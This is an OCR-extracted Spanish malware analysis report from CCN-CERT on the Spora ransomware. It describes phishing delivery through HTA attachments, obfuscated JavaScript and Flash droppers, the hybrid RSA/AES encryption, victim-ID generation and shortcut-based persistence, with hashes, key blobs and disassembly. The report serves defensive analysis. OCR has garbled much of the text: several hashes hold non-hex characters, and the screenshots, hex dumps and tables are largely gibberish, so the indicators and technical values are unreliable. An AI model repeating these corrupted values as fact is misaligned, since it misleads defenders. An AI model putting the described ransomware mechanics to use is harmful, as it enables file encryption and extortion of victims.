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LIMITACION DE RESPONSABILIDAD

El presente documento se proporciona de acuerdo con los términos en él recogidos,
rechazando expresamente cualquier tipo de garantia implicita que se pueda encontrar
relacionada. En ningin caso, el Centro Criptoldgico Nacional puede ser considerado
responsable del dano directo, indirecto, fortuito o extraordinario derivado de la utilizacién de la
informacién y software que se indican incluso cuando se advierta de tal posibilidad.

AVISO LEGAL

Quedan rigurosamente prohibidas, sin la autorizacién escrita del Centro Criptoldgico Nacional,
bajo las sanciones establecidas en las leyes, la reproduccién parcial o total de este documento
por cualquier medio o procedimiento, comprendidos la reprografia y el tratamiento informdtico,
y la distribucion de ejemplares del mismo mediante alquiler o préstamo publicos.
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1. SOBRE CCN-CERT

El CCN-CERT (www.ccn-cert.cni.es) es la Capacidad de Respuesta a Incidentes
de Seguridad de la Informacién del Centro Criptoldgico Nacional, CCN
(www.ccn.cni.es). Este servicio se creé en el ano 2006 como el CERT
Gubernamental/Nacional espanol y sus funciones quedan recogidas en la Ley 11/2002
reguladora del Cenfro Nacional de Inteligencia, el RD 421/2004 regulador del CCN y
en el RD 3/2010, de 8 de enero, regulador del Esquema Nacional de Seguridad (ENS),
modificado por el RD 951/2015 de 23 de octubre.

De acuerdo a todas ellas, es competencia del CCN-CERT la gestion de
ciberincidentes que afecten a sistemas del Sector Piblico, a empresas y
organizaciones de interés estratégico para el pais y a cualquier sistema clasificado. Su
misién, por tanto, es contribuir a la mejora de la ciberseguridad espanola, siendo el
centro de alerta y respuesta nacional que coopere y ayude a responder de forma
rdpida y eficiente a los ciberataques y a afrontar de forma activa las ciberamenazas.
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2. RESUMEN EJECUTIVO

El fichero analizado contiene un HTML (HyperText Markup Language) disenado vy
escrito para ser ejecutado en un navegador web, y que aprovecha ciertas
vulnerabilidades para, a través de ellas, conseguir infectar el equipo de la victima. Por
el momento, existen dos variantes conocidas respecto al método de infeccién
ufilizado.

La primera de ellas emplea un programa escrito en JavaScript y que va incluido en
el fichero HTML. Dicho script es irreconocible porque va ofuscado detrds de varias
capas de transformaciéon. Una vez eliminadas las distintas capas de ofuscacién, el
script procede a descargar y ejecutar un fichero SWF (Shockwave Flash) que
aprovecha las vulnerabilidades' de dicha tecnologia para descargar y lanzar el
binario final del ransomware propiamente dicho.

La segunda variante del proceso de infeccidn y que es la empleada en los estudios
realizados para la confeccidén de este informe, contiene cddigo que, partiendo de
cadenas ofuscadas, genera un bloque de texto que se guarda en un fichero. Dicho
blogue de texto serd un nuevo programa escrito en lenguaje JavaScript y recibird el
nombre de close.js. Dicho fichero serd ejecutado, lo que ocasionard la descarga vy
posterior ejecucién del binario conocido como Ransomware Spora.

El vector principal de infeccion de la version estudiada han sido campanas
masivas de phising a través de correo electréonico y, hasta el momento, parece que
sélo han estado orientadas a usuarios de nacionalidad rusa. Dichos correos
electréonicos aparentan ser facturas bancarias que enganan a los usuarios haciéndoles
abrir su archivo comprimido que va como adjunto. Ese fichero comprimido contiene
un fichero HTA (HTML Application) que ejecuta el cédigo HTML que es el sujeto de este
estudio. Estos archivos HTA que fratan de pasar desapercibidos mediante una doble
extensidon, aprovechando que para la mayoria de usuarios del sistema operativo
Windows (al que estd destinado el Ransomware) la opcidn por defecto es la de ocultar
las extensiones de los ficheros.

La peculiaridad mds novedosa de este Ransomware es que carece de Centro de
Mando y Control (C&C), por lo que siempre realiza el proceso de cifrado de ficheros
de forma offline. Para ello se ayuda de un fichero con extension .KEY en el que
almacenard datos relacionados con las claves empleadas para el cifrado de los
ficheros de la victima, y que serd necesario enviar a los secuestradores a través del
portal de pago especificamente generado para cada usuario en un sitio web. Ese sitio
web es de acceso publico vy, en realidad, oculta un tUnel hacia un sitio Tor. Spora
emplea al menos diez (10) sitios conocidos bajo el dominio spora.bz.

Otra caracteristica peculiar de este cddigo es que no anade ninguna extensién a
los ficheros cifrados, ni les cambia el nombre. También es de destacar el reducido
numero de extensiones que tiene en cuenta a la hora de seleccionar los ficheros que
debe cifrar, sobre todo si se compara con otros Ransomware como es el caso de
Locky.

En cuanto al descifrado de los ficheros secuestrados, cabe destacar que este
Ransomware establece de forma dindmica el precio del rescate en funcién del
numero y el tipo de archivos que hayan sido cifrados. Esto lo consigue mediante la

Algunos navegadores web actuales permiten la ejecucién de los ficheros multimedia Flash sin
el consentimiento explicito del usuario, lo que puede llegar a provocar la descarga y

ejecucion de codigo no deseado.
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inclusidn de las estadisticas de ficheros cifrados en el final del documento .KEY que ha
de enviarse previamente para proceder al pago del rescate.

Ofra novedad de este tipo de ransomware es que pretende conseguir cierta
persistencia en el equipo atacado. Para ello, el cédigo danino marca como ocultos
todos los directorios que hay bajo la raiz del sistema de ficheros de todos los medios de
almacenamiento accesibles desde ese equipo (extraibles o no) y también los que
haya en el escritorio, para después crear accesos directos con esos mismos nombres y
gue apunten al ejecutable del cédigo daiino. Para que no se sepa que en realidad se
trata de enlaces simbdlicos, el ransomware quita de su icono de aplicacién la flecha
gue los identifica como tales.

Con estos cambios, un usuario que no tenga activada la opcidén de ver las
carpetas y archivos ocultos no detectard el cambio realizado, y se infectard con la
mera navegacion por ese sistema de ficheros. Esto es especialmente importante
cuando lo que se ha infectado es un medio removible que se conecta a un equipo
hasta entonces no infectado. Esta forma de actuar recuerda las técnicas de
propagacioén propias de los gusanos (worms) a través de memorias USB, lo cual es una
novedad en el escenario del ransomware.

3. CARACTERISTICAS DEL CODIGO DANINO

Las caracteristicas principales de este cédigo danino son:

Descarga y ejecuciéon del binario correspondiente con Spora.
No existe servidor de mando y confrol (C&C).

Afecta a medios extraibles y recursos compartidos de red.
Cifra ficheros del equipo comprometido.

Establece el precio del rescate de forma variable.
Persistencia en el equipo mediante accesos directos.

4. DETALLES GENERALES

Los valores hash del dropper analizado (sporaFlash.html) son:

MD5 DCD9YBEASF5AEA26DCOB07276C60625E5
SHA1 BDBFA20538B3DB422C5448A70F91451081EDOA07

SHA256 ae7073760a86f38b29d6399a91ddaé507237b420c5f4
d386de3b5c1c3cf111f5

Para el HTML de la versidn sin flash (spora.html):
MDS5 67f86470506c6e124d4f9671fd11e82e
SHA1 19379f459cff79924e2956f1358d1c80a52018cb

SHA256 fd11003b0503e0149f67719c93c0f781b2d00efc8c0b8
205b3908ac049af0437

Para el JavaScript generado por este Ultimo HTML (close.js):

MD5 fclb2bec47aaa059319f4a47cb37c5e2

SIN CLASIFICAR



SIN CLASIFICAR
CCN-CERT ID-08/17

Cédigo Daiino Ransom.Spora

SHA256 e2fe74d890ddb516b4f21a6588cée0bdbf3ddéf8c511
6d707d08db7ebddf505a

En el caso del fichero Shockwave Flash (spora.wsf):
MD5 DBéFB39034B54483CEA2F2901CFE4D70
SHA1 53EFCéD14029EA8D145C0360903BE1969B232E83

SHA256 840ce47e94dbédae302dddbfe33f9548a47541a0917
def5e2e5644fc2965ba52

Y para el ejecutable final (81063163ded.exe):
MDS5 312445D2CCA1CF82406AF567596B9D8C
SHA1 D3C89CCAF190890FC0583EA24396B1A2CD8317C4

SHA256 dbfd24cd70f02ddeaéde0a851c1ef0f45f18b4f70e6f3

dof2e2aec0d1b4a2cbf
& PEiD v0.95 =] =@ =]
File: | C:\Users\Jsuario\Desktop\Muestras\Spora\d 1063163ded. exe e
Entrypoint: | 00009F 10 EP Section: |UP¥1 ﬂ

File Offset: | 00004310 First Bytes: |60,BE,00,50 ﬂ

Linker Info: [9.0 Subsystem: |Win32 GUI H

UPX 0.89.6 - 1.02 f 1,05 - 2,90 ->> Markus & Laszlo

Multi Scan | Task Viewer Options About | Exit |
¥ Stayon top =] ==

Figura 1. Informacion sobre el ejecutable (1)

RDG Packer Detector v0.7.6 Vx Edition 2017

File zcanned in 007 Seq.

O M-A ¢ M-B

=) %)

AU zershl zuanohDeskiopiMuestiaz\S porat 310631 63ded. ene 32

3 h
Microsoft Visual C++ 9.0 Compiler =
=
UPX v1.95 Beta - 3.x Detected %
UPX Deteccion Heuristica Possible
Contact: L P, soLrceforge. met '-HJ Ent

Figura 2. Informacién sobre el ejecutable (II)

SIN CLASIFICAR



SIN CLASIFICAR

CCN-CERT ID-08/17 Cdédigo Daiiino Ransom.Spora C

centra criptaléaic naciona

Como se puede apreciar en las figuras 1 y 2, el ejecutable se encuentra
empaquetado mediante UPX2, un empaquetador de ejecutables que es open source.
El ejecutable ha sido programado en lenguaje Visual C++ y destinado a ser ejecutado
en el sistema operativo Microsoft Windows.

5. PROCEDIMIENTO DE INFECCION

Tal y como se ha mencionado previamente, actualmente existen dos métodos
de infeccién distintos. Aun siendo distintos, ambos comparten un factor comun, se
tratan de ficheros HTML difundidos mediante campanas de phishing a través de correo
electrénico que se acompana de falsas facturas bancarias como se puede apreciar
en la Figura 3.

Una vez la victima descomprime el archivo adjunto al mensaje y ejecuta el
fichero que va en su interior, comienza el proceso de infeccidon de la mdquina. En
paralelo, el cddigo danino tratard de abrir un documento en formato .doex que estd
corrupto y que aparece dentro del archivo comprimido adjunto. De esa forma, el
usuario victima creerd que el contenido del archivo adjunto era lo que decia el
mensaje de correo electrénico pero que, por algun error de confeccidon o transmisién,
ha llegado danado, lo cual no levantard sospechas.

=] s Message has a suspicious part : OBpaBierantiiit cuer - Message (HTML) 7 @ - O %
MESSAGE

x = (t_q (3 Bomeeting | ¥ CrsteNew ¥ _‘ £ =I > % Find
Junk € = [ Actions ~ [ Related -
Delete  Reply Reply Forward More — Move Mark Categorize Follow Translate Zoom
All - - Unread Up~ [t Select -

Delete Respond Quick Steps M Move Tags M Editing Zoom ~
Mon 1/9/2017 11:44 PM
000 BenyHa Vinpactpuen <aleks191265z@mail.ru>
Message has a suspicious part : O6paboTaHHbIF cuet

Message {} CUT. o 3aneke_KeuTaHuMaDOC.zip (63 KE)

3aseka npHHATA H 00paboTanal
TPHEPeNIMO ¢1. Ha TPYORL B JOKYMeHTe JBa cdeTa (OZHE ¢ OpedoILIaTofl, ApyTofl Oes). coodmuTe, Mo KakoMy cIeTy 6vaeT pacaer. OOpaTHTe BHNMAHNE HA NPABHILEOCTE
SANOIHEHHA JAThl H PEKBIHTOE .

€ VBAUKEHHEM,
Menemzep 000 Beayua Hegactpuen
Konecuukora Tateana

6 See more about OO0 Benyng MnaacTpuen. D -~

Figura 3. Captura de correo electréonico fraudulento. [REF-01]

2 Ver https://en.wikipedia.org/wiki/UPX
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E | = | Documento - WordPad EI@
Inicio Ver L7
= Cortar X T~ | == e = ap ey 23 Buscar
- Courier New Tl || A A IEIE = T WET ,.Lﬁ ﬁ"‘_ﬂ
D Copiar u h‘ o e emplazar
Pegar N K S ahe X. 3¢ | &£ ~ A~ |§ = = =| 55  Imagen Pintar Fecha Insertar | .
- = = = ~  dibujo yhora objeto | i
Portapapeles Fuente Parrafo Insertar Edicidn
3"'2"‘1"'g"'l'1‘2"'3"'4'1'5‘1‘6'1'7"'8'1‘9'1'10'"11"'12"'13"'14"&'15"'16"'1?"'
WordPad (=3
. WordPad no puede abrir este documento.
7]; El documento esta dafiado o
protegide por la Administracién de derechos,
100% (=) [ )

Figura 4. Apertura de documento corrupto

5.1 VERSION CON SHOCKWAVE FLASH

El fichero HTML antes mencionado, contiene en su interior un programa escrito en
JavaScript, que se encarga de des-ofuscar una de sus secciones para dar lugar a la
creacioén y posterior ejecucidén de otro script. Este nuevo script se encarga de crear
una capa div en el html (marcada con una flecha en la Figura 5). En dicha capa se
ejecutard, mediante Shockwave Flash, un archivo .swf descargado por el script desde
la URL fredomasearchdsd.top. Aprovechando las vulnerabilidades de la tecnologia
Flash, se descarga la carga final (payload) que es el cdédigo ejecutable del
ransomware Spora. Para mds informacion sobre este proceso, consultar el
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Anexo |. DES-OFUSCADO vy ejecucién del dropper Flash.).

Firefox ha evitado que el plugin desactualizado "Adobe Flash" se ejecute en

/5pora/muestras/spora.html.

Figura 5. Advertencia de un navegador actualizado sobre la ejecucién del fichero Flash.

En el caso de emplear un navegador web que posea medidas de seguridad
especificas contra este tipo de ataques (Figura 5), el usuario serd advertido del intento
y se podrd impedir la ejecucién de ese cddigo danino.

En general, una vez el binario ha sido correctamente descargado, se lanza su
ejecucion y comienza el secuestro del contenido presente en el equipo.

5.2 VERSION SIN SHOCKWAVE FLASH

Al ejecutar esta versidn del ransomware Spora, se generard un fichero JavaScript
denominado close.js y se guardard en la carpeta %lemp%. Para ello se llama a la
funcién WScript.Shell para obtener la ruta hasta el directorio temporal %Temp%. Una
vez hecho esto, se llama a la funcién Scripting.FileSystemObject.CreateTextFile y se le
enfrega la ruta obtenida previamente a la que se le ha concatenado /close.js. Hecho
esto, dicho cdédigo JavaScript procede a des-ofuscarse y a generar un fichero
ejecutable en esa misma carpeta.

t

df1827eele

abBbad4db93e7
al77ded7bb1fo

tp.WriteLine
1; r d

\ c

f ,F,FFfFe@FFFFfh+OFFac
i FFOFFFFNgFfFFh
f.FfrFf F\/0 SM

8 FFFefF

qF ]
FIFF sfdDgF! Fo ) : f B /FFnFFFOF1,FOa0
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Figura 6. Fragmento del contenido de spora.himi

Figura 7. Fragmento del contenido de close.js

6. CARACTERISTICAS TECNICAS

La primera accién realizada por este cddigo danino es la creacién de un fichero
en la carpeta C:\Users\Username\AppData\Roaming. Este fichero serd empleado
para el almacenamiento de los datos empleados por el cédigo y que recibird el
manejador (handle) B8.

A continuacién, se procede a cargar una clave AES-256, en adelante AES-1, que
estd incrustada en el propio ejecutable, y que se emplea para descifrar los siguientes
elementos que también estdn contendidos dentro del cddigo dadino:

e Una clave publica RSA-1024, en adelante serd llamada RSA-1.

e FEl cédigo HTML que contiene las instrucciones para realizar el pago del
rescate.

¢ Una cadena de texto, en adelante Cadena-D, cuyo valor es D283C31972

¢ Una secuencia de 256 bits a 0.

Acto seguido se destruye el manejador (handle) de dicha clave AES-1.

MIGFMAOGCSqGSIb3DQEBAQUAA4GNADCBIQKBgQCSCOfj49E0yjEopSpP5k

beCRQpWdpWvx5XJj5zThtiBa7svs/RvX4ZPGyOGODtbGNbLswOYKuRcRnWfW5
897B8xWgD2AMQd4KGleTHjsbkcSt1DUye/Qsu0jn4ZB7yKTEzZKWeSyon5XmYw
oFsh34ueErnNLLZQcL88hoRHoOTVgAwWIDAQAB

Se puede obtener la informacién de dicha clave mediante el uso del comando:
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>> openssl rsa -pubin -inform PEM -text -noout < key

Obteniéndose:

Public-Key: (1024 bit)

Modulus:
00:ba:08:e7:e3:e3:d1:34:ca:31:28:a5:2a:4f.eé:
46:de:09:14:29:59:da:56:bf:1e:57:26:3e:73:4e:
1b:41:6b:bb:2f:b3:f4.6f.5f.86:4f:1b:23:86:d0:
3b:5b:18:d6:cb:b3:03:98:2a:e4:5c:46:75:9f.5b:
9f:3d:ec:1f:31:5a:00:f6:00:c4:1d:e0:a1:88:79:
31:e3:b1:b9:1c:4a:dd:43:53:27:bf:42:cb:b4:8e:
7e:19:07:bc:8a:4c:4c:ca:59.e4:b2:a2:7e:57:99:
8c:28:16:¢c8:77:€2:€7:84:ae:73:4b:2d:94:1c:2f:
cf:21:a1:11:e8:d1:35:6a:03

Exponent: 65537 (0x10001)

Una vez hecho esto, se enumeran los voliUmenes logicos presentes en la maquina

mediante una llamada a GetlogicalDrives. Por cada uno de los discos de ftipo
DRIVE_FIXED, se recorrerd el drbol de directorios, generando una lista de los ficheros
que debe cifrar. Para la elaboracién de dicha lista, se excluirdn los siguientes

directorios:

Windows

Program Files

(x86)-Program Files-Games

Asimismo, solo se tendrdn en cuenta los ficheros con las siguientes extensiones:

xls, .doc, Xxlsx, .docx, .rff, .odt, .pdf, .psd, ;prack
.dwg, .cdr, .cd, .mdb, .lcd, .dbf, .sqlite, .accdb, .7z,
P9, Jpeg, iff, .Zip, rar,

Dichas extensiones se dividen en los siguientes grupos:

Grupo Categoria Extensiones
1 Documentos de Office .odt, .rif, .docx, .xIsx, .doc, .xls
2 PDF .pdf
CorelDraw, AutoCAD,
3 Photoshop .cdr, .dwg, .psd
4 Bases de datos .accdb, .sqlite, .dbf, .1cd, .mdb, .cd
5 Imdgenes liff, .jpeg, .jpg
6 Archivos comprimidos y de backup, .7z, yar, .Zip

salvaguardia (backups)
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Algo caracteristico de este ransomware es que no excluye los ficheros de la
papelera de reciclaje, como si hacen la mayoria de familias de este tipo.

Acto seguido procede a enumerar los recursos compartidos en red empleando
la libreria wininet.dll, teniendo estos en cuenta también para la elaboracién de la lista.

Una vez acabada la lista, procede a cargar en el CSP (Cryptographic Service
Provider) la clave RSA-1 mediante llamadas a las funciones CrypiStringToBinaryA,
CryptDecodeObjectEx y CryptimportPublicKeylnfo con los siguientes pardmetros:

CryptDecodeObjectEx:

Argl = 1 Codificacion del certificado empleado
PKCS_7_ASN_ENCODING

Arg2 = 8 IpszStructType = X509_PUBLIC_KEY_INFO

Arg3 = 262758 Estructura a decodificar

Argd = 0xA2 Tamano

Arg5 = 0x8000 Banderas de senalizacion (flags).

Argé = 0 DecodePara. Si estd a 0 indica que se emplea LocalAlloc

Arg7 = 18FEE4 pvStructinfo (salida) = 2595B8

Arg8 = 18FEDC pcbStructinfo (salida) = 0xC8

CryptimportPublicKeylinfo:

Argl = 251760 Manejador (handler) del CSP al que se desea importar la
clave.

Arg2= 1 Codificaciéon del certificado empleado
PKCS_7_ASN_ENCODING

Arg3 = 2595B8 certinfo

Argd = 405EC8 Manejador (handler) de la clave importada (salida) =
261A70

Una vez ha asignado un manejador a la clave RSA-1, procede a generar un par
de claves publica/privada RSA-1024 (en adelante RSA-2) mediante una llamada a la
funcién CryptGenKey con los siguientes pardmetros:

CryptGenKey:

Argl = 251760 Manejador (handler) del CSP
Arg2 = 0xA400 ID del Algoritmo del cifrado RSA
Arg3 = 0x4000001 Tamano de la clave = 0x400 (1024 en decimal)

Arg4 = 18FF00 Manejador de la clave (salida) = 262758
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El siguiente paso consiste en hacer una serie de llamadas a CryptExportKey y a
CrypiBinaryToStringA con el objefivo de anadir las cabeceras de PrivateKeyBlob
necesarias y codificar el resultado en Baseb4. A este resultado le anade las cabeceras
y finales de clave para conseguir la estructura final:

BWIAAACKAABSUOEyAAQAAAEAAQDrézJTM5S3DLORgM3IpiHKiXrDCoE1TYi+up

2Mkzeotbh4s/1udJHIhCJP26y5JPGgXkk74FNDHb89bfiiVaz3ba70FoU8MeV5/xco
7Tn6A3mZ9xicYRAaVkaUmiJmREépoZkX+J1aPdEJuMiyzAGVMHEzArT7/iM2nftOs
7660k9Q1DrAWIWUKv97HNnODXZNVTveziQmVg/K4maZXUjsz/SiGD/1sdNLJRd/m

kslixJi4sOtJIPGoriOfiPUr99ilBwcYSMVBApsésXz/mzvGOyutj3w3RKJoMpXqéHcHh

NsfoOWIHHsyMoWWGbfdPznvB+nGhbseouKDJs2mnAHA6W4W 1UxKGFdDcbtmY

qy/gVj3qamdid9xS3iiD3jjwIN5Béha/lJtY3IWGLXIGOscNFbVarxLiB+2ghsu2Xd2Q

UjUjggOyrC+bISCatvg1RGwUeeWD6R6y3iumDSGfsPasqTfh3GKcgFQOIEA7

MIjZFUWmMbX0G7vAWXnUIA8/08y3yP733HU/b AXfQUNmM/VipsrJTUwUf3K0qI9jiMyQ
9IFMqY5pMFj0eOpdvLoKgs1nM7jOJf7IYIW 1ws+u3XC+lcWdo7xWceGeeMfUoReF
57BQPGhHpYIimUpw+KODHseqa8IlIDsWEYNnCx9ybBZgX0++omwpBpxuWRGqbTY
2GKLZgdUv23XwECoxdJp2Co0cé6SWicbfnCYzicnyFFPYtkPRRva7ZaNNC5X9Pvox/j
ffPeEr0a91+EUNoJ38uSIEPdBRA=

Lo siguiente que hard el cddigo danino es obtener algunos valores descriptivos
de la mdaquina atacada. El primero de ellos es la fecha y para ello llama a la funcién
Getlocallime, luego sigue con el nombre de usuario de la victima llamando a la
funcién GetUserNameA, continua determinando el idioma en el que estd el equipo
atacado y lo hace con una llamada a la funcidon GetlocalelnfoA. Los resultados de
estas consultas se guardan en memoria, a continuacién del par de claves RSA-2
obtenidas previamente. Ademds de esto, también se anade la CADENA-D que se
encontraba embebida en el cédigo del ejecutabile.

Address [Hex durmp ASCII
AEZE7YHYE|BE 42 ¥8 39 79 62 42 BA|F1 52 28 2B 2B 6F &0 77| nCe9ubBEZ qHB++amw
AEZEYHEA| PE 42 7B 72 75 E7 G2 47| F1 &2 54 59 22 B0 BA 47| pEpsullRGabTY 236
HEZEYHIE (4B 42 ER 67 &4 E5 V& 32|32 58 V¥ 45 43 6F 72 64| KLZgdUwZ3HWwECond
AEZETHAE|[ 4R VA 32 43 6F 38 62 26| B2 EFY 49 &2 E2 66 EE 42| Jp2CoBcesSiIchfnC
AEZETHEE| B9 VA 69 63 6E V9 46 46/ 5@ B9 ¥4 6B E@ B2 B2 V&| ¥z icnyFFPYtkPRRwW
AEZETHCE[ G 3F 61 4E 4E 42 35 E2/ 329 BE@ V& &6F 78 2F &A 80| a7 aHHCEXSPvon -~ ik
AEZEFHDE|BA &6 66 EA &5 45 V2 2@ &1 29 31 2B 45 EE 4E EF|BffPeEr8al1+EUNo
AEZEYHES|( 4R 23 38 ¥YE 52 49 45 B@ &4 42 52 41 20 @D 8 20| JE28uSIEPJERA=MZ-
AEZEYHFE| 20 20 20 20 45 4E 44 2@ 52 53 41 2@ 5@ 52 49 54| ---—EMO RSA PRIU
AEZE7YEAE| 41 54 45 28 4B 45 59 20/ 20 20 20 20 80 BA 2@ 28| ATE KEY-———— Fyofsts
AEZEYEIE|2E 3@ 32 2E 32 28 31 27| FC B 73 PS5 61 ¥2 69 &F|.82.2817 1 Usuaria
HEZEYEZE| Y 45 B3 BA FC 44 32 28|32 43 233 21 29 37 32 VC| IESPID223C319721
EEEE;EEE 28 FC 21 22 FC 28 VC 29| VC 22 231 PC 32 22 8@ @@ 81131819131122

Fig. 8. Contenido del archivo .KEY

Una vez obtenidos esos datos, el cédigo danino procede a calcular el valor de la
funcién hash MD5 sobre la clave generada, concatenada con los pardmetros de la
maquina. Dicho hash es el que emplea para la generacién de un ID Unico para cada
victima y que dard nombre a su archivo .KEY que habrd de enviarse a la hora de
realizar el pago del rescate.

La generacién de dicho ID se redlizard de la siguiente manera: Las primeras dos
o tres letras (dependiendo de la region) indican el cédigo de pais asociado con la
region previamente obtenida. Los cinco siguientes digitos serdn los cinco primeros
digitos del valor hash MD5. El resto del material son estadisticas sobre los ficheros que
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que el cddigo danino cataloga los distintos ficheros segun su tipo.

BE4a3Ics4
BE4a2C25
EB4BSCSE

BE4E2091
aE4a3c33
BE4a2C33
BE4a3ICH
BE4Ea2C30

11

E=TE] PUSH ERH

=  FFFE @2 FUSH DWORD FTR SS:L[ARG.11

- FFVS FLC FUSH DWORD PTRE =S: CLOCAL.

= FF15 @3i@4@a CALL DWORD PTR DS: [4816865]
- ZECE TEST EAX,ERX

- EF24 20aia0a) J2 884 SDDG

= EzZ FUSH

- 2045 F2 LER EHH CLOCAL. 2]

= __Eti& FUSH

[EEd4alaa2]=vEE2DF2: (ADUARIZZ. CryptHaEhData]

Address

-
BE2ETTAS
BEZETTED
BE2E7TCS
BEZETTDE
BE2e7TER
BEZETTFS
BE2E 7T 2R

————— EEGIM FSA P
RIVATE KEY
EEwIAAACK ARESUGE
WHARHAREAAR D5z
THESS0OLORgMSIp iH
Kt ArDCoE1TY i+up2
MMk zeotbhds-1ud
JHLhC.IP2EY S P GEaM

Fig. 9. Funcion hash sobre el fichero .KEY

Con dichos datos se realizan una serie de sustituciones. Primeramente, todas las
barras verticales (|) son reemplazadas por una T. Seguidamente, los digitos son
sustituidos segun la siguiente tabla:

BESES05 FE_ B rCHF EE-, 5
aE4a3057 ~ 75 B8R JHE SHORT @84a3D63
BE4E205T &H 20 PUSH 20
BE4E2S0EE a FOF ECx
BE4ES0SC 33DE HOR EEx, EBX
BE4a305E S5: 398048 HOY WORD PTR DS: [EAX#2+ESII.CH
gadEznez(l - 48 IMC_EAX
GEdEznezll > BFBEEA MOUZX ECH,BEYTE FTR DS: [EDX] Switch [cases 20..7C, 12, enits)
BEdEsnes|) «  83F3 FC CHF _ECx, 7C
GE4Ezies || - FF 48 J5 SHORT GE4820RE
BE4EzZ0EE|] -~ 74 37 JE SHDRT 83483Dﬂ4
BEdES0ED S2E9 =@
5] - 83F2 a9 CHP ECH 9
LR =1-) A SHDRT BB4BSDHB
[E] =% FF2420 E22044 | JHMP FTR DS: [ECH#4+4830ES]
ga4as0rci) > | &R SR FLUSH 5 Case 58 ("8") of switch S51863163ded. 483063
BE4a307E ~| EB Z& JHMP SHORT @84a3DR&
GadEznoEll > | A B2 PUSH L Case 21 ("1") of switch 218521&2ded. 462052
aat@znsz|] | EB 22 JHMF SHORT @E4830RE
aadashDs4 () > | 6A 52 FUSH & Case 52 ("2") of switch S51863163ded. 483063
GE4E 20 ~| EE LE JHP SHORT @84a3DRs
gadEznee() > | A 4F PUSH 4 Caze 22 ("2') of zwitch 21862162ded. 4682062
BE4E2S02A ~| EE 1R JHMF SHORT @E4830RE
BE4Esnsci) > | 6 41 FUSH 4 Case 54 ("4') of switch S51863163ded. 483063
EE4E202E ~| EB L& JMP SHORT @84a3DRs
GadEznoaEll > | el 42 PUSH 4 Caze 2B ("E') of zwitch 21862162ded. 4682062
BE4ES0eE ~=| EE 12 JHME SHORT @84830R5
GE4as0e4 | > | 6A 46 FUSH 4 Case 36 ("6") of switch 518563163ded.483D53
EE4E20E ~| EB EE JHMP SHORT @84@2DRs
GEdEznes|l > | A 47 FUSH 4 Case 57 ("F')] of switch S1862163ded. 483063
aa4az02Aa(]| -~ EB BR JHME SHORT @84830R5
GE4as0oc| | > | A 45 FUSH 4 Case 38 ("8") of switch 518563163ded.483D53
BE4E209E - | EB BE JMP SHORT @E4@8230R5
GEdEznREll > | A 4B FUSH 4B Case 29 ("9'])] of switch S1862163ded. 4830632
Ba4az0R2 || | EB B2 JHME SHORT @84830R5
GE4Ezia4 || > | & 54 PUSH & Case PC ("1") of switch 21853163ded. 483052
BE4E20R(] > | 59 FOFP ECH
EE4EZ0AT(] « | EE:E9EC4E MOL WORD FTR DS: [EA-#Z+ESI],Cx
GE4E30AE || » 43 IMC EEX Default case of switch S1863163ded. 4830563
GEd4Ezoac| ) - 48 IHC EHH
BE4E20A0 42 IMC E
BE4ES0RE(] «  SE3A 88 CHP TE FTR DS: [ED<], 8
GE4EsDEL|| -~ F5 Al - IHE SHDRT a463054

Figura 10. Tabla de sustitucién para la generacién del ID

Tal y como se aprecia en la figura anterior, este cédigo se trata de un switch-
case que sustituye cada digito por el cardcter ASCIl hexadecimal correspondiente.

Dado que el ID estd formado por bloques de cinco caracteres, si no se rellenase
por completo un blogue se introducirian al final tantas Y como caracteres faltasen. En
nuestro caso el ID obtenido fue el siguiente:

‘ ES255-BDZTX-OTZTK-TOXTR-OYYYY

Después de obtener el valor de ID, el cédigo dafnino procede a generar una
nueva clave AES-256 (en adelante, AES-2) con la que cifrard la seccidon de memoria
que contiene la clave RSA privada y la informacion del equipo. Dicha clave AES-2
quedard a su vez cifrada por la clave publica RSA-1. Acto seguido, creard el fichero
.KEY con dicha informacién cifrada y nombre ID_OBTENIDO.KEY. Al final del fichero se
anadird la clave AES-2 empleada para su cifrado, cifrada con la clave puUblica RSA-1.

Una vez generado el fichero, se copiard al escritorio y a:
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| C:\%AppData% \ Microsoft\ Windows \Templates |

El siguiente paso es volver a recorrer los ficheros que hay que cifrar. Para cada
uno gue cumpla las condiciones establecidas por el cédigo danino, se mapeard en
memoria mediante llamadas a CreateFileMapping y MapViewOfFile con privilegios de
acceso FILE_MAP_WRITE y FILE_MAP_READ.

En este punto se creard una nueva clave AES-256 (en adelante, AES-F) para
cada fichero, que serd cifrada con la clave publica RSA-2 generada anteriormente.
Con dicha clave AES-F se cifrard la totalidad del fichero. Al terminar dicho proceso, se
anadird la clave AES-F empleada, y convenientemente cifrada, al final del fichero
junto con los Ultimos 4 bytes del fichero original.

Algo importante que tiene ese mapeado de memoria es que se limita el tamano
efectivo del fichero a 0x500000 bytes por lo que, si el fichero fiene una longitud mayor,
sélo se cifrardn los primeros 0x500000 bytes (5.242.880 bytes en decimal) y los restantes
quedarian intactos.

Hr..T..*.}.

.@...Docs/64
-ia-32-archi
tectures-sof
tware-develo
per-manual-3
25462.pdf. ..

..a.g.ve. ..
~luas.gUlC...
Ke...0.00v X

Fig. 11. Primeros Bytes de un fichero grande

0 1 2 3 4 5 6 7 8 9 AR B 0123456789AB 0O ENi2[3 4|56
004FFFF8 EC AB ES 9A OF 94 B6 78 DE 54 49 21 ....... x.TI! - ||004FFFF8 F1 AD BD D4 34 98 E4
01 4 C4 A® A3 B3 4C 78 cl 4B 30 12 61 F1 ....Lx.K0.a. | B 1
65 52 7 D.e.RE.Wt.0. M
7 80 6E B4 34 55 51 E1 07 ..... n.40Q..
Bl 7 m.Yi...I..r.
S X.30.9%u.t3..
6 3A .00cg.|D.:}
7 R_.EK.:hdl.r.
76 ..K.BSHMU]v4
FD ML LWL S
81 1B EF C4 FC .Buuuu......
65 C5 7E 06 4E 02 k.. _e.~.N 6
ES 16 38 €& 78 Al .x.)\ 8jx E 1
¢l F1 33 DD C1 DE u.wZ....3... cl 33 c1
D6 Al 48 F5 C5 B4 m#...H... D6 Al 48 F5 C5 B4 m#...H...
00 B8 85 B5 3E 52 S5......... >R 00 B8 85 B5 3E 52 5......... >R
C1 94 04 53 41 07 /W.._....SA C1l 94 04 53 41 07 /W.._....SR
FO B1 27 63 41 cA ....!....cA FO B1 27 63 41 ¢ca ....l....ca
D7 0B E0 1C ©7 99 2...A....... D7 0B EO 1€ C7 99 2...A.......
83 B6 14 BE ER FF >..D........ 83 B6 14 BE ER FF >..D........
EC DE D7 67 7C B6 W...oy...gl EC DE D7 67 7C Bé W...oy...gl
27 22 1F c% ER 19 .02 oL 27 22 1Fr c% ER 19 .02 .
